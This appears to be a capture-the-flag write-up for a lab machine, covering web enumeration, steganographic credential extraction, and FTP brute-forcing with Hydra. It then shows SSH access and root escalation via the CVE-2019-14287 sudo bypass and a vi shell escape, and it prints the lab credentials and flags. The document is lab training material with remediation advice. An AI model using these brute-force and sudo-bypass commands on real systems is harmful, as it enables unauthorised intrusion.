Musa Troglodytarum

CTF Challenge Write-up

M3RICK

ENUMERATION

EXPLOITATION

PRIVILEGE ESC

Executive Summary

This write-up documents the comprehensive exploitation of the “Musa Troglodytarum” CTF machine, a deliberately vulnerable system designed to test web enumeration, steganography, password cracking, and privilege escalation techniques. The engagement required systematic reconnaissance of web assets, extraction of hidden credentials through steganographic analysis, FTP and SSH exploitation, and ultimately privilege escalation through a critical sudo vulnerability.

Attack Path Summary: Web Enumeration → Hidden Directory Discovery → Steganographic Analysis → FTP Credential Extraction → SSH Access → Lateral Movement → Sudo Vulnerability Exploitation → Root Access

Reconnaissance Phase

Initial Service Enumeration

The reconnaissance phase commenced with a comprehensive Nmap scan to identify accessible services and potential attack vectors on the target system.

▸ Network Port Scanning

```
nmap -sC -sV <IP>
```

Tool: Nmap Flags Explained

- `-sC`: Executes default NSE (Nmap Scripting Engine) scripts for comprehensive service detection
- `-sV`: Performs version detection on identified services to enumerate specific software versions

▸ Discovered Services

The initial scan revealed three primary services running on standard ports:

- **Port 21/TCP:** FTP Service
- **Port 22/TCP:** OpenSSH
- **Port 80/TCP:** Apache httpd

The web server presented a default Apache2 Debian installation page, suggesting the need for deeper web enumeration to uncover hidden content.

Web Application Enumeration

▸ Directory Brute-Force Scanning

Given the minimal surface area on the default web page, directory enumeration was performed using ffuf with multiple file extensions to maximize coverage.

```
ffuf -w /usr/share/wordlists/Discovery/Web-Content/raft-large-directories.txt \
  -u http://<IP>/FUZZ -mc 200,301,302,403
```

Tool: FFUF

FFUF (Fuzz Faster U Fool) is a high-performance web fuzzer written in Go. The `-w` flag specifies the wordlist, `-e` appends file extensions, and `-mc` filters responses by HTTP status codes. Its speed and flexibility make it ideal for comprehensive web enumeration.

✓ **Critical findings: `/assets` directory and `/server-status` (403 Forbidden)**

▸ Assets Directory Analysis

Investigation of the `/assets` directory revealed two files of interest:

- `MusaTroglodytarum.mp4` - Video file
- `style.css` - Cascading Style Sheet

▸ CSS File Reconnaissance

Examination of the stylesheet revealed an embedded comment containing a hidden PHP endpoint:

```
/* Nice to see someone checking the stylesheets.
    Take a look at the page: /l3_B4n4N13r_D3s_M0nT4gN3s.php
*/
```

✔ **Hidden endpoint discovered:** `/l3_B4n4N13r_D3s_M0nT4gN3s.php`

Hidden Endpoint Analysis

▸ JavaScript Redirection Investigation

Accessing the hidden PHP page revealed an interesting defensive mechanism - a JavaScript-based redirection designed to redirect users away from the actual content.

⚠ **The page attempts to redirect users to YouTube, but the actual challenge content is embedded within the local video file**

▸ Video Analysis

The `<noscript>` tags provided crucial intelligence: “The hint is in the video” and “bite the bullet” - suggesting steganography or hidden content within the MP4 file. In the video, a spoken hint confirms that the YouTube redirect is a decoy and directs further investigation to the website itself.

HTTP Request Interception

▸ Burp Suite Analysis

To analyze the complete HTTP transaction flow, Burp Suite was deployed to intercept and examine requests to the hidden PHP endpoint.

```
GET /l3_B4n4N13r_D3s_M0nT4gN3s.php
etc...
```

Tool: Burp Suite

Burp Suite is an integrated platform for performing security testing of web applications. Its proxy functionality allows real-time inspection and modification of HTTP/HTTPS traffic between the browser and target server.

▸ Intermediary Request Discovery

Upon forwarding the initial request through the proxy, a secondary request was revealed containing a critical parameter:

```
GET     /intermediary.php?hidden_directory=/L3s_Fru1ts_s0nt_c0NNus_Gen3raL3m3nt_s0Us_l3_N0m_D3_B4N4n3
HTTP/1.1
```

Hidden directory discovered:L3s_Fru1ts_s0nt_c0NNus_Gen3raL3m3nt_s0Us_l3_N0m_D3_B4N4n3

This server-side redirection mechanism was designed to obfuscate the actual file location from casual reconnaissance.

Steganography & Credential Extraction

Image File Discovery

Accessing the hidden directory revealed a single image file: `Hot_Babe.png`

Metadata Examination

Initial analysis focused on extracting EXIF metadata to identify potential embedded information or manipulation artifacts.

```
exiftool Hot_Babe.png
```

Tool: ExifTool

ExifTool is a comprehensive metadata reading and writing tool for images, documents, and various file formats. It can extract hidden metadata that may contain intelligence about file creation, modification, or embedded data.

The ExifTool output revealed several noteworthy attributes:

- Software: GIMP 2.10.18 (suggesting manual editing)
- Warning: Trailer data after PNG IEND chunk (indicating appended content)

The presence of trailer data after the PNG IEND chunk strongly suggested steganographic content embedded within the image file.

String Extraction Analysis

To extract ASCII-readable content from the binary image file, the `strings` utility was employed.

```
strings Hot_Babe.png
```

Tool: Strings Command

The strings utility extracts printable character sequences from binary files. By default, it displays sequences of at least 4 printable characters, making it effective for discovering embedded text in images or executables.

▸ Critical Intelligence Gathered

The string extraction yielded highly valuable information:

✓ **FTP Username discovered:** `banane_celeste`

Additionally, the output revealed a substantial list of Base64-encoded strings, suggesting one of these encoded values was the corresponding FTP password:

```
One of these is the password:
iVBORw0KGgoAAAANSUhE
UgAAAUYAAAHyCAIAAAAY
7vDEAAAu1npUWHRSYXcg
cHJvZmlsZSB0eXBlIGV4
aWYAAHjarZxpslw5boX/
[... you get the gist ...]
WDzgeVztNLcZ0uXyuDd2
kZW1OTxUB+dtbha64mJb
41Hbj+38Obx5qWDy8YRq
```

FTP Service Exploitation

Password Brute-Force Attack

With a valid username and a list of potential passwords extracted from the image file, a credential stuffing attack was launched against the FTP service.

```
hydra -l banane_celeste -P password.txt ftp://<IP TARGET>
```

Tool: Hydra

Hydra is a parallelized network authentication cracker supporting numerous protocols. The `-l` flag specifies a single username, while `-P` designates a password list file for dictionary-based attacks.

▸ Successful Authentication

✓ **Valid credentials identified:** `banane_celeste:4nndoLjqyBE0FSIDivNC`

The attack successfully identified the valid password within the candidate list, confirming the steganographic extraction approach.

FTP Session Establishment

With valid credentials obtained, an authenticated FTP session was established:

```
ftp <IP>
Name: banane_celeste
Password: 4nndoLjqyBE0FSIDivNC
```

▸ Directory Enumeration

A comprehensive directory listing revealed a single file: Valerian's_Creds.txt

The presence of a credentials file suggested potential SSH access for lateral movement.

▸ File Retrieval

```
mget Valerian's_Creds.txt
```

Advanced Steganographic Analysis

Initial inspection of `Valerian's_Creds.txt` revealed deceptive content:

```
Get out, there is nothing here!
```

However, the file contained significant whitespace characters, suggesting an encoding scheme based on whitespace steganography.

▸ Whitespace Steganography Decoding

Whitespace steganography leverages combinations of spaces, tabs, and newlines to encode data invisibly within text files. The DCode.fr whitespace language decoder was employed to extract the hidden content.

> **Tool: Whitespace Language**
>
> Whitespace is an esoteric programming language that uses only whitespace characters (spaces, tabs, line feeds) to encode instructions. It can also be used as a steganographic technique to hide data in seemingly empty space.

> ✓ **Decoded credentials: Username `valerian` | Password ******

Initial Access - SSH Exploitation

SSH Authentication

With credentials extracted from the whitespace-encoded file, SSH access was attempted:

```
ssh valerian@<IP>
```

▸ Login Message Analysis

Upon successful authentication, a message of the day (MOTD) was displayed, providing additional intelligence:

```
1 new message
Message from Root to Gabriel:

"Gabriel, I am not happy with you. Check our leet s3cr3t hiding place.
I've left you a hidden message there"

END MESSAGE
```

This message suggested the existence of another user (`Gabriel`) and a hidden location containing additional credentials.

User Environment Enumeration

```
id
uid=1000(valerian) gid=1000(valerian) groups=1000(valerian),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),
119(bluetooth)
```

The user `valerian` had access to multiple supplementary groups, though most were not immediately exploitable for privilege escalation.

Hidden Directory Discovery

Based on the MOTD hint referencing a “leet s3cr3t hiding place,” a filesystem search was conducted for directories matching the “s3cr3t” pattern:

```
find / -type d -name "s3cr3t" 2>/dev/null
```

> ✓ **Hidden directory identified:** `/usr/games/s3cr3t/`

▸ Hidden File Extraction

```
cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_g4br13L_0nly\!
```

The file contained a message addressed to Gabriel, revealing critical information:

```
Your password is awful, Gabriel.
It should be at least 60 characters long! Not just ca_serait_jamais_arrive_en_haskell
Honestly!

Yours sincerely
   -Root
```

✓ **Gabriel's credentials disclosed:** `gabriel:ca_serait_jamais_arrive_en_haskell`

Lateral Movement

User Switching

With Gabriel's credentials obtained, lateral movement was achieved through user switching:

```
su gabriel
Password: ca_serait_jamais_arrive_en_haskell
```

User Flag Acquisition

```
ls ~/
user.txt

cat ~/user.txt
```

USER FLAG: EPI{l3_7R0nC_3S7_3N_R34Li73_un_PS3ud0_7r0NC_lnCR0ya8Le}

Privilege Escalation

Sudo Permission Enumeration

A critical step in privilege escalation is identifying sudo permissions that may provide paths to elevated access:

```
sudo -l
```

▸ Sudo Configuration Analysis

```
Matching Defaults entries for gabriel on muso-troglodytarum:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gabriel may run the following commands on muso-troglodytarum:
    (ALL, !root) NOPASSWD: /usr/bin/vi /home/gabriel/user.txt
```

This configuration appeared restrictive at first glance - the `!root` directive explicitly forbids running the command as root. However, this configuration is vulnerable to CVE-2019-14287.

CVE-2019-14287: Sudo Security Bypass

▸ Vulnerability Analysis

```
sudo -V
Sudo version 1.8.10p3
```

The installed sudo version (1.8.10p3) is vulnerable to CVE-2019-14287, which affects versions prior to 1.8.28. This vulnerability allows users to bypass the `!root` restriction through User ID manipulation.

> **Tool: CVE-2019-14287**
>
> This vulnerability permits users with sudo access to run commands as an arbitrary user ID, including ID −1 (or 4294967295), which sudo incorrectly resolves to UID 0 (root). This bypasses the `(ALL, !root)` restriction completely.

▸ Exploitation Methodology

The exploit leverages the fact that specifying user ID `-1` causes sudo to execute the command as UID 0 due to integer conversion:

```
sudo -u#-1 /usr/bin/vi /home/gabriel/user.txt
```

This command successfully invokes vi with root privileges, despite the explicit `!root` restriction in the sudoers configuration.

Vi Escape to Root Shell

Once vi opened with root privileges, a shell escape sequence was employed to obtain a root command prompt:

```
:!/bin/bash
```

Tool: Vi Shell Escape

Vi and vim allow execution of shell commands through the `:!` command. When vi runs with elevated privileges, any spawned shell inherits those privileges. This is documented in GTFOBins as a common privilege escalation technique.

✓ **Root access obtained**

Root Flag Extraction

```
cd /root
cat root.txt
```

ROOT FLAG: EPI{L4_t193_Fl0R1F3R3_D35_m0nt49N35_DR35533}

Conclusion

This CTF challenge demonstrated several critical penetration testing methodologies and common security vulnerabilities:

- **Comprehensive Enumeration:** The importance of thorough web application enumeration, including inspection of CSS files and other seemingly mundane assets that may contain intelligence
- **Steganographic Analysis:** Recognition of steganographic techniques including embedded data in image files and whitespace encoding in text files
- **Credential Security:** The vulnerability of weak passwords embedded in files or extracted through dictionary attacks
- **Defense Evasion:** Multiple layers of obfuscation including JavaScript redirects, intermediary requests, and encoded directories designed to deter superficial reconnaissance
- **Lateral Movement:** Progressive exploitation from initial web access through FTP, SSH, and user switching to achieve target objectives
- **Sudo Misconfiguration:** The critical security implications of running vulnerable sudo versions and the exploitation methodology for CVE-2019-14287
- **Vi Privilege Escalation:** Leveraging legitimate text editor functionality to escape to privileged shells when the editor runs with elevated permissions

The successful compromise of this system underscores the necessity of maintaining up-to-date software versions, implementing proper sudo configurations, restricting unnecessary file permissions, and avoiding the storage of credentials in files accessible through compromised services.

Remediation Recommendations

Web Application Security:

- Remove or properly secure development files and comments from production stylesheets
- Implement proper access controls on hidden directories
- Avoid storing sensitive paths or filenames in client-accessible code

Credential Management:

- Never embed credentials in image files or other downloadable assets
- Enforce strong password policies exceeding 12 characters with complexity requirements
- Implement multi-factor authentication for SSH and FTP services

System Hardening:

- Update sudo to version 1.8.28 or later to mitigate CVE-2019-14287
- Review and restrict sudo permissions, eliminating unnecessary NOPASSWD directives
- Restrict text editor execution with elevated privileges
- Implement proper file permissions on sensitive directories like `/usr/games/s3cr3t/`

Service Security:

- Disable FTP in favor of SFTP or SCP for file transfers
- Implement SSH key-based authentication and disable password authentication
- Apply rate limiting and fail2ban rules to prevent brute-force attacks